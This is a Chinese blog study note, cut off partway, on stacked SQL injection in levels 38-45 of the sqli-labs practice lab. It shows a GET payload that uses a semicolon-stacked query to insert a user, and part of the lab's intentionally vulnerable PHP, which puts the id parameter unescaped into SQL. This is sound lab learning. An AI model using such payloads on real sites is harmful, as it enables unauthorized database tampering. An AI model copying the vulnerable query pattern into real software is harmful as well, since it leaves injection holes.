sqli-labs学习笔记（十二）less 38-45 堆叠注入

最新推荐文章于 2022-11-21 11:28:29 发布

思源湖的鱼

最新推荐文章于 2022-11-21 11:28:29 发布

阅读量486

点赞数

分类专栏： cyber security 文章标签：数据库 sql注入 sqlilabs 堆叠注入网络安全

本文链接：https://blog.csdn.net/weixin_44604541/article/details/108679724

版权

本文详细介绍了sqli-labs中Less 38到45关于堆叠注入的学习笔记，包括GET和POST方式下的字符串和整型堆叠注入、盲注及报错型注入。通过实例展示了如何利用分号分隔多条SQL语句进行注入，同时讨论了堆叠注入的原理、局限性和不同数据库的执行示例。

摘要由CSDN通过智能技术生成

前言

继续学习sqli-labs
本篇是less 38-45

Less - 38: GET- Stacked Query Injection - String 堆叠注入 - 字符型 - GET

在这里插入图片描述
虽然常规注入可以成功

但本题侧重学习堆叠注入

?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

在这里插入图片描述
创建用户成功

看眼源码

<?php




// take the variables 
if(isset($_GET['id']))
{
   
$id=$_GET['id'];
//logging the connection parameters to a file for analysis.
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);

// connectivity
//mysql connections for stacked query examples.
$con1 = mysqli_connect($host,$dbuser,$dbpass,$dbname);
// Check connection
if (mysqli_connect_errno($con1))
{
   
    echo "Failed to connect to MySQL: " . mysqli_connect_error();
}
else
{
   
    @mysqli_select_db($con1, $dbname) or die ( "Unable to connect to the database: $dbname");
}



$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"